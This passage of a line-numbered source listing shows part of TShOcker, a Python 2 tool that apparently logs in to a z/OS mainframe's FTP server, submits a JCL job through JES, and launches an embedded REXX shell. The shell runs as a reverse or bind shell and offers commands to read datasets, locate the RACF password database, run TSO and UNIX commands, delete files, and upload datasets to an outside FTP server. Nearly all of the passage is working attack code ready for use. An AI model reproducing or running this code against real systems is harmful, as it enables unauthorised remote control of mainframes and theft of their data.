Address: "||ip_addr||NEWLINE||NEWLINE 472 | j = 1 473 | DO i = 5 TO var.0 474 | parse var var.i garbage ip_addr link flag_sp 475 | flag = SPACE(flag_sp,0) 476 | text = text||"Interface "||j||NEWLINE||"=========="||NEWLINE, 477 | "Name : "||link||NEWLINE, 478 | "IPv4 Address : "||ip_addr||NEWLINE, 479 | "Flag : "||flag||NEWLINE||NEWLINE 480 | j = j + 1 481 | end 482 | x = OUTTRAP(OFF) 483 | return text 484 | 485 | GET_RACFDB: 486 | /* Gets the dataset (aka file) name of the RACF database */ 487 | /* This requires a TSO segment */ 488 | x = OUTTRAP('var.') 489 | address tso "RVARY LIST" 490 | parse var var.4 active1 use1 num1 volume1 dataset1_sp 491 | parse var var.5 active2 use2 num2 volume2 dataset2_sp 492 | dataset1 = SPACE(dataset1_sp,0) 493 | dataset2 = SPACE(dataset2_sp,0) 494 | if use1 = 'PRIM' then 495 | text = NEWLINE||"Primary"||NEWLINE||"========"||NEWLINE 496 | else 497 | text = NEWLINE||"Backup"||NEWLINE||"========"||NEWLINE 498 | 499 | text = text||" Active : "||active1||NEWLINE, 500 | "FileName : "||dataset1||NEWLINE||NEWLINE 501 | if use2 = 'PRIM' then 502 | text = text||"Primary"||NEWLINE||"========"||NEWLINE 503 | else 504 | text = text||"Backup"||NEWLINE||"========"||NEWLINE 505 | 506 | text = text||" Active : "||active2||NEWLINE, 507 | "Filename : "||dataset2||NEWLINE 508 | x = OUTTRAP(OFF) 509 | return text 510 | 511 | UNIX_COMMAND: 512 | /* Executes a UNIX command (aka OMVS) */ 513 | parse arg unix_command 514 | CALL BPXWUNIX unix_command,,out. 515 | text = ''||NEWLINE /* blank out text */ 516 | DO i = 1 TO out.0 517 | text = text||out.i||NEWLINE 518 | END 519 | return text 520 | 521 | TSO_COMMAND: 522 | /* outputs the results of a TSO command */ 523 | parse arg tso_do 524 | text = NEWLINE||"Issuing TSO Command: "||tso_do||NEWLINE 525 | u = OUTTRAP('tso_out.') 526 | ADDRESS TSO tso_do 527 | u = OUTTRAP(OFF) 528 | DO i = 1 to tso_out.0 529 | text = text||tso_out.i||NEWLINE 530 | END 531 | return text 532 | 533 | GET_OS_INFO: 534 | /* z/OS Operating System Information */ 535 | /* Lots of help from the LPINFO script from */ 536 | /* www.longpelaexpertise.com.au */ 537 | cvtaddr = get_dec_addr(16) 538 | zos_name = Strip(Storage(D2x(cvtaddr+340),8)) 539 | ecvtaddr = get_dec_addr(cvtaddr+140) 540 | zos_ver = Strip(Storage(D2x(ecvtaddr+512),2)) 541 | zos_rel = Strip(Storage(D2x(ecvtaddr+514),2)) 542 | sysplex = Strip(Storage(D2x(ecvtaddr+8),8)) 543 | jes_p = SYSVAR('SYSJES') 544 | parse var jes_p jes . 545 | jes_node = jes||' (Node: '|| SYSVAR('SYSNODE')||')' 546 | security_node = get_security_system(cvtaddr+992) 547 | text = NEWLINE, 548 | "Computer : LPAR "|| zos_name||NEWLINE, 549 | "Sysplex : "||sysplex||NEWLINE, 550 | "OS : z/OS" zos_ver||.||zos_rel||NEWLINE, 551 | "Job Entry : "||jes_node||NEWLINE, 552 | "Security : "||security_node||NEWLINE, 553 | /* "Meterpreter : z/OS REXX"||NEWLINE */ 554 | return text 555 | 556 | get_dec_addr: /* Needed for GET_OS_INFO */ 557 | parse arg addr 558 | hex_addr = d2x(addr) 559 | stor = Storage(hex_addr,4) 560 | hex_stor = c2x(stor) 561 | value = x2d(hex_stor) 562 | return value 563 | get_security_system: /* needed for GET_OS_INFO */ 564 | parse arg sec_addr 565 | cvtrac = get_dec_addr(sec_addr) 566 | rcvtid = Storage(d2x(cvtrac),4) 567 | if rcvtid = 'RCVT' then return 'RACF' 568 | if rcvtid = 'RTSS' then return 'CA Top Secret' 569 | if rcvtid = 'ACF2' then return 'CA ACF2' 570 | return 0 571 | 572 | CAT_FILE: 573 | /* Cats a file and returns it to the screen */ 574 | parse arg meow . 575 | cat = STRIP(meow) 576 | ADDRESS TSO "ALLOC F(intemp) DSN('"||cat||"') SHR" 577 | ADDRESS TSO "EXECIO * DISKR intemp (FINIS STEM TIGER." 578 | ADDRESS TSO "free file(intemp)" 579 | text = NEWLINE||'File: '||meow||NEWLINE 580 | text = text||'File Length: '||TIGER.0||NEWLINE 581 | DO i = 1 TO TIGER.0 582 | text = text||TIGER.i||NEWLINE 583 | 584 | END 585 | return text 586 | 587 | CP: /* Uses a JCL to copy one file to the other */ 588 | parse arg from_DS to_DS 589 | IF to_DS = '' THEN 590 | DO 591 | text = NEWLINE||"cp command requires a to and a from.", 592 | "You only supplied: "||from_DS||NEWLINE 593 | return text 594 | END 595 | DROPBUF 0 596 | queue "//CPTHATS EXEC PGM=IEBGENER" 597 | queue "//SYSPRINT DD SYSOUT=*" 598 | queue "//SYSIN DD DUMMY" 599 | queue "//SYSUT1 DD DSN="||from_DS||",DISP=SHR" 600 | queue "//SYSUT2 DD DSN="||to_DS||"," 601 | queue "// LIKE="||from_DS||"," 602 | queue "// DISP=(NEW,CATLG,DELETE)," 603 | queue "// UNIT=SYSDA" 604 | queue "/*" 605 | queue "@#" 606 | v = OUTTRAP('sub.') 607 | ADDRESS TSO "SUB * END(@#)" 608 | v = OUTTRAP(OFF) 609 | text = NEWLINE||"File "||from_DS||" copying to "||to_DS||NEWLINE 610 | return text 611 | 612 | DELETE: 613 | /* Deletes a file or dataset member */ 614 | parse arg deleteme . 615 | IF deleteme = '' THEN 616 | DO 617 | text = NEWLINE||"You didn't supply a dataset to delete" 618 | return text 619 | END 620 | d = OUTTRAP('tdel.') 621 | ADDRESS TSO "DELETE '"||deleteme||"'" 622 | /* if you don't put '' around a dataset it prepends your userid */ 623 | d = OUTTRAP(OFF) 624 | text = NEWLINE 625 | DO i = 1 to tdel.0 626 | text = text||NEWLINE||tdel.i 627 | END 628 | return text 629 | 630 | UPLOAD_FILE: 631 | /* Uploads a file from the mainframe to an FTP server */ 632 | /* It submits a JOB which uploads the file */ 633 | /* FYI this doesn't always work with a debian FTP server */ 634 | parse arg ftp_server username password dataset binary . 635 | DROPBUF 0 /* clear the buffer */ 636 | queue "//FTP EXEC PGM=FTP," 637 | queue "// PARM='"||ftp_server||" (EXIT' " 638 | queue "//SYSMDUMP DD SYSOUT=* " 639 | queue "//SYSPRINT DD SYSOUT=* " 640 | queue "//INPUT DD * " 641 | queue username 642 | queue password 643 | if binary = "binary" then queue put "binary" 644 | queue "put '"||dataset||"'" 645 | queue "quit " 646 | queue "/*" 647 | queue "@#" 648 | ADDRESS TSO "SUB * END(@#)" 649 | text = NEWLINE||"Uploading file "||dataset||" to "||ftp_server, 650 | "using user name"||username||"." 651 | if binary = "binary" then 652 | text = text||" Using Binary transfer mode." 653 | else 654 | text = text||" Not using Binary transfer mode." 655 | return text 656 | 657 | LS: 658 | /* Lists datasets given a high level qualifier (hlq) */ 659 | parse arg suckit, hilevel . 660 | filez = STRIP(hilevel) 661 | IF filez = '' then filez = USERID() 662 | hedr = NEWLINE||" Listing Files: " filez||".*"||NEWLINE, 663 | "========================================="||NEWLINE 664 | terp = SOCKET('SEND',suckit, hedr) 665 | text = NEWLINE 666 | b = OUTTRAP('ls_cmd.') 667 | ADDRESS TSO "LISTC LEVEL("||filez||")" 668 | b = OUTTRAP(OFF) 669 | filed = 1 670 | DO i = 1 to ls_cmd.0 671 | IF filed THEN 672 | DO 673 | text = text||ls_cmd.i||NEWLINE 674 | filed = 0 675 | END 676 | ELSE 677 | filed = 1 678 | END 679 | 680 | return text 681 | 682 | LS_MEMBERS: 683 | /* Lists datasets given a 'high level qualifier, or HLQ */ 684 | parse arg hilevelmem . 685 | text = NEWLINE 686 | x = OUTTRAP('members.') 687 | ADDRESS TSO "LISTDS '"||hilevelmem||"' members" 688 | x = OUTTRAP(OFF) 689 | DO i = 7 TO members.0 690 | members.i = STRIP(members.i) 691 | text = text||'--> '||hilevelmem||"("||members.i||")"||NEWLINE 692 | END 693 | return text 694 | 695 | UPPER: 696 | /* Of all the built-in functions, this isn't one of them */ 697 | PARSE UPPER ARG STRINGED 698 | return STRINGED 699 | 700 | GET_HELP: 701 | /* Help command */ 702 | help = NEWLINE, 703 | "Core Commands"||NEWLINE, 704 | "============="||NEWLINE||NEWLINE, 705 | " Command Description"||NEWLINE, 706 | " ------- -----------"||NEWLINE, 707 | " help Help Menu"||NEWLINE, 708 | " exit Terminate the session"||NEWLINE, 709 | " quit Terminate the session"||NEWLINE, 710 | NEWLINE||NEWLINE, 711 | "Filesystem Commands"||NEWLINE, 712 | "==================="||NEWLINE||NEWLINE, 713 | " Command Description"||NEWLINE, 714 | " ------- -----------"||NEWLINE, 715 | " cat Show contents of dataset"||NEWLINE, 716 | " cp copies a file to a new file"||NEWLINE, 717 | " ls list datasets in HLQ"||NEWLINE, 718 | " delete deletes a file"||NEWLINE, 719 | " del also deletes a file"||NEWLINE, 720 | " lsmem Lists files and members"||NEWLINE, 721 | " !!WARNING!! Takes time and IO"||NEWLINE, 722 | NEWLINE||NEWLINE, 723 | "Networking Commands"||NEWLINE, 724 | "==================="||NEWLINE||NEWLINE, 725 | " Command Description"||NEWLINE, 726 | " ------- -----------"||NEWLINE, 727 | " ipconfig Display interfaces"||NEWLINE, 728 | " ifconfig Display interfaces"||NEWLINE, 729 | NEWLINE||NEWLINE, 730 | "System Commands"||NEWLINE, 731 | "==============="||NEWLINE||NEWLINE, 732 | " Command Description"||NEWLINE, 733 | " ------- -----------"||NEWLINE, 734 | " getuid Get current user name"||NEWLINE, 735 | " sysinfo Remote system info (i.e OS)"||NEWLINE, 736 | " racf Show password database location", 737 | NEWLINE, 738 | " execute Execute a TSO command"||NEWLINE, 739 | " tso Execute TSO command (same as execute)", 740 | NEWLINE, 741 | " unix UNIX command (i.e ls -al)"||NEWLINE, 742 | " ftp Upload a file from the mainframe to", 743 | NEWLINE, 744 | " an FTP server. Syntax is:"||NEWLINE, 745 | " host/ip user pass filename [binary]", 746 | NEWLINE||NEWLINE 747 | return help''' 748 | return REXX 749 | 750 | def JCLFooter(FILENAME, LorR, ip_address, port): 751 | if LorR == 'R': 752 | parm = ip_address+" "+port 753 | else: 754 | parm = port 755 | 756 | parameters = FILENAME+" "+LorR+" "+parm 757 | JCLF = ''' 758 | ## 759 | //* Thats the end of the REXX program. Now lets execute it, 760 | //* the program, IKJEFT01 lets us execute a REXX program 761 | //* as though we were in TSO (letting us use ADDRESS TSO 762 | //* as a valid command). 763 | //EXECREXX EXEC PGM=IKJEFT01, 764 | // PARM='%'''+parameters+'''\', 765 | // REGION=0M 766 | //SYSTSIN DD DUMMY 767 | //SYSTSPRT DD SYSOUT=* 768 | //SYSEXEC DD DSN=&&OMG,DISP=(OLD,DELETE,DELETE)''' 769 | return JCLF 770 | 771 | signal.signal(signal.SIGINT, signal_handler) 772 | ########################################################## 773 | #Gather the argumers we need 774 | parser = argparse.ArgumentParser(description='TShOcker: When given an IP address, username and password this script will connect to an FTP server convert it to JES mode and submit a job. The job executes a REXX script giving you either "meterpreter like" TSO reverse shell or a bind shell',epilog='The TShOcker!') 775 | parser.add_argument('ip',help='The z/OS Mainframe FTP Server IP or Hostname') 776 | parser.add_argument('username',help='a valid FTP userid') 777 | parser.add_argument('password',help='users password') 778 | parser.add_argument('-p','--port',help='z/OS FTP port, default is 21',default="21",dest='port') 779 | group = parser.add_mutually_exclusive_group() 780 | group.add_argument('-l','--listener',help='listener shell',action='store_true',default=False,dest='listener') 781 | group.add_argument('-r','--reverse',help='reverse shell',action='store_true',default=False,dest='reverse') 782 | parser.add_argument('--lport',help='Listener port. If it fails try >1024',dest='lport') 783 | parser.add_argument('--rhost',help='Remote server to call back to',dest='rhost') 784 | parser.add_argument('--rport',help='Remote port to use',dest='rport') 785 | parser.add_argument('--print',help='Just print the JCL to the screen',action='store_true',default=False,dest='dotmatrix') 786 | parser.add_argument('--logo',help='Ugly ASCII Art Logo. Its sorta my thing now.', default=False,dest='logo',action='store_true') 787 | parser.add_argument('-v','--verbose',help='Verbose mode. More verbosity', default=False,dest='debug',action='store_true') 788 | #parser.add_argument('','',help='',dest='') 789 | results = parser.parse_args() 790 | 791 | if results.logo and results.lport != "54321": print bcolors.WHITE+''' 792 | 793 | .-~*~--,. .-. 794 | .-~-. ./OOOOOOOOO\.'OOO`9~~-. 795 | .`OOOOOO.OOM.OLSONOOOOO@@OOOOOO\\ 796 | /OOOO@@@OO@@@OO@@@OOO@@@@@@@@OOOO`. 797 | |OO@@@WWWW@@@@OOWWW@WWWW@@@@@@@OOOO). 798 | .-'OO@@@@WW@@@W@WWWWWWWWOOWW@@@@@OOOOOO} 799 | /OOO@@O@@@@W@@@@@OOWWWWWOOWOO@@@OOO@@@OO| 800 | lOOO@@@OO@@@WWWWWWW\OWWWO\WWWOOOOOO@@@O.' 801 | \OOO@@@OOO@@@@@@OOW'''+bcolors.YELLOW+"\|||||\\"+bcolors.WHITE+'''WWWW@@@@@@@O'. 802 | `,OO@@@OOOOOOOOOOWW'''+bcolors.YELLOW+"\|||||\\"+bcolors.WHITE+'''WWWW@@@@@@OOO) 803 | \,O@@@@@OOOOOOWWWWW'''+bcolors.YELLOW+"\|||||\\"+bcolors.WHITE+'''WW@@@@@OOOO.' 804 | `~c~8~@@@@WWW@@W'''+bcolors.YELLOW+"\|||||||\\"+bcolors.WHITE+'''WOO|\UO-~' 805 | (OWWWWWW@/\W'''+bcolors.YELLOW+"\|||||||\\"+bcolors.WHITE+'''WO) 806 | `~-~'' '''+bcolors.YELLOW+"\|||\\"+bcolors.WHITE+'''WW=*' 807 | '''+bcolors.YELLOW+'''__\|||\\ 808 | \||||||\\ 809 | \||||__\\ 810 | '''+bcolors.RED+"TS"+bcolors.GREEN+"h"+bcolors.RED+"O"+bcolors.GREEN+"cker"+bcolors.YELLOW+''' \||\\ 811 | \|\\ 812 | \|\\ 813 | \\\\ 814 | \\\\ 815 | \\ 816 | \\ 817 | 818 | 819 | '''+bcolors.ENDC 820 | 821 | 822 | secret_douchebag_logo = "ICAgICAgICAgICAgIF9fDQogICAgICAgICAgICAvICBcICAgX18NClRTaE9ja2VyICAgfCAgICB8IC8gIFwNCiAgICAgICAgICAgfCAgICB8fCAgICB8DQogICBfICAgICAgIHwgICAgfHwgICAgfA0KIC8nIHwgICAgICB8IF8gIHx8IF8gIHwNCnwgICB8ICAgICAgfCAgICB8fCAgICB8DQp8IF8gfCAgICAgIHwgICAgfHwgICAgfA0KfCAgIHwgICAgICB8ICAgIHx8ICAgIHwNCnwgICB8ICAgICAgfCAgXyB8fCBfICB8DQp8IF8gfCAgX18gIHwgICAgfHwgICAgfA0KfCAgIHwgLyAgXCB8ICAgIHx8ICAgIHwNCnwgICB8fCAgICB8fCAgICB8fCAgICB8ICAgICAgIF8tLS0uDQp8ICAgfHwgICAgfHwgICAgfC4gX18gfCAgICAgLi8gICAgIHwNCnwgXy4gfCAtLSB8ICAtLSAgICAgIGB8ICAgIC8gICAgICAvLw0KfCcgICB8ICAgIHwgICAgICAgICAgIHwgICAvYCAgICAgKC8NCnwgICAgfCAgICB8ICAgICAgICAgICB8IC4vICAgICAgIC8NCnwgICAgfC4tLS58ICAgICAgICBfXyB8LyAgICAgICAufA0KfCAgX198ICAgIHwgICAgXywtJyAgICAgICAgICAgIC8NCnwtJyAgIFxfXy8gIF8sJyAgICAgICAgICAgICAgLnwNCnwgICAgICAgXy4tJyAgICAgICAgICAgICAgICAgLw0KfCAgIF8uLScgICAgICAvICAgICAgICAgICAgIHwNCnwgICAgICAgICAgICAvICAgICAgICAgICAgIC8NCnwgICAgICAgICAgIHwgICAgICAgICAgICAgLw0KYCAgICAgICAgICAgfCAgICAgICAgICAgIC8NCiBcICAgICAgICAgIHwgICAgICAgICAgLycNCiAgfCAgICAgICAgICBgICAgICAgICAvDQogICBcICAgICAgICAgICAgICAgIC4nDQogICB8ICAgICAgICAgICAgICAgIHwNCiAgIHwgICAgICAgICAgICAgICAgfA==" 823 | 824 | if results.logo and results.lport == "54321": 825 | print base64.b64decode(secret_douchebag_logo) 826 | 827 | if len(results.username) > 7: 828 | print bcolors.RED + "[!] Usernames cant be longer than 7 characters" + bcolors.ENDC 829 | sys.exit(-1) 830 | 831 | if results.listener: 832 | would_you_kindly = 'L' 833 | if results.lport == None: 834 | print bcolors.BLUE + "[+] No port specified. Listening on port 4444." 835 | hostname = '' 836 | port = "4444" 837 | results.lport = port 838 | #print "You must specify a listener port (--lport) with -l" 839 | #sys.exit(0) 840 | else: 841 | hostname = '' 842 | port = results.lport 843 | elif results.reverse: 844 | would_you_kindly = 'R' 845 | if results.rport == None or results.rhost == None: 846 | print "You must specify both --rport and --rhost with reverse mode [-r]" 847 | sys.exit(0) 848 | else: 849 | hostname = results.rhost 850 | port = results.rport 851 | elif not results.listener and not results.reverse: 852 | print 'You must specify -l or -r. Quitting' 853 | sys.exit(0) 854 | 855 | 856 | #Assemble the JCL File 857 | rand_file = filename_generator() 858 | EVIL_JOB = JCLHeader(results.username, rand_file) 859 | EVIL_JOB += CATSO() 860 | EVIL_JOB += JCLFooter(rand_file, would_you_kindly, hostname, port) 861 | 862 | 863 | if results.dotmatrix: 864 | print EVIL_JOB 865 | sys.exit(0) 866 | 867 | 868 | #Connect to the mainframe FTP server 869 | print bcolors.BLUE + "[+] Connecting to:", results.ip,":",results.port, "" + bcolors.ENDC 870 | 871 | if results.debug: 872 | print bcolors.YELLOW + "{!} - Verbose mode enabled" 873 | print bcolors.YELLOW + "{!} - Mainframe FTP Server: "+bcolors.GREEN+results.ip 874 | print bcolors.YELLOW + "{!} - FTP Server Port: "+bcolors.GREEN+results.port 875 | print bcolors.YELLOW + "{!} - FTP Username: "+bcolors.GREEN+results.username 876 | print bcolors.YELLOW + "{!} - FTP Password: "+bcolors.GREEN+results.password 877 | if results.listener: print bcolors.YELLOW + "{!} - Listener mode to be enabled on port: "+bcolors.GREEN+results.lport 878 | elif results.reverse: print bcolors.YELLOW + "{!} - Reverse shell to connect back to: "+bcolors.GREEN+results.rhost+":"+results.rport 879 | try: 880 | MTP = FTP() 881 | MTP.connect(results.ip, results.port) 882 | MTP.login(results.username, results.password) 883 | if results.debug: print bcolors.YELLOW + "{!} - Connected to:"+bcolors.GREEN+"", results.ip,":",results.port, "" + bcolors.ENDC 884 | except Exception, e: 885 | print bcolors.RED + "[ERR] could not connect to ",results.ip,":",results.port,"" + bcolors.ENDC 886 | print bcolors.RED + "",e,"" + bcolors.ENDC 887 | sys.exit(0) 888 | 889 | TEMP_JCL_FILE = '/tmp/rand.jcl' 890 | TEMP_JCL = open(TEMP_JCL_FILE,'w') 891 | TEMP_JCL.write(EVIL_JOB) 892 | TEMP_JCL.close() 893 | 894 | print bcolors.BLUE + "[+] Switching to JES mode" 895 | 896 | try: 897 | MTP.voidcmd( "site file=JES" ) 898 | print bcolors.BLUE + "[+] Inserting JCL with CATSO in to job queue" 899 | except Exception, e: 900 | print bcolors.RED + "[ERR] Could not switch to JES mode. If \"command not understood\" are you sure this is even a mainframe?" + bcolors.ENDC 901 | print bcolors.RED + "",e,"" + bcolors.ENDC 902 | sys.exit(0) 903 | 904 | try: 905 | jcl_upload = MTP.storlines( 'STOR %s' % results.username.upper(), open(TEMP_JCL_FILE,'rb')) # upload temp file to JES queue 906 | os.remove(TEMP_JCL_FILE) # delete the tmp file 907 | except Exception, e: 908 | os.remove(TEMP_JCL_FILE) #remove the tmp file 909 | print bcolors.RED + "[ERR] could not upload JCL file" + bcolors.ENDC 910 | print bcolors.RED + "",e,"" + bcolors.ENDC 911 | sys.exit(0) 912 | 913 | if results.debug: 914 | print bcolors.YELLOW + "{!} - JCL Upload Messages:\n#########\n", jcl_upload , "\n#########" + bcolors.ENDC 915 | 916 | 917 | if results.debug: 918 | if results.listener: print bcolors.YELLOW + "{!} - Try connecting to : "+bcolors.GREEN+results.ip+":"+results.lport 919 | elif results.reverse: print bcolors.YELLOW + "{!} - Reverse shell connects back to: "+bcolors.GREEN+results.rhost+":"+results.rport 920 | 921 | print bcolors.BLUE + "[+] Done..." + bcolors.ENDC 922 | 923 | --------------------------------------------------------------------------------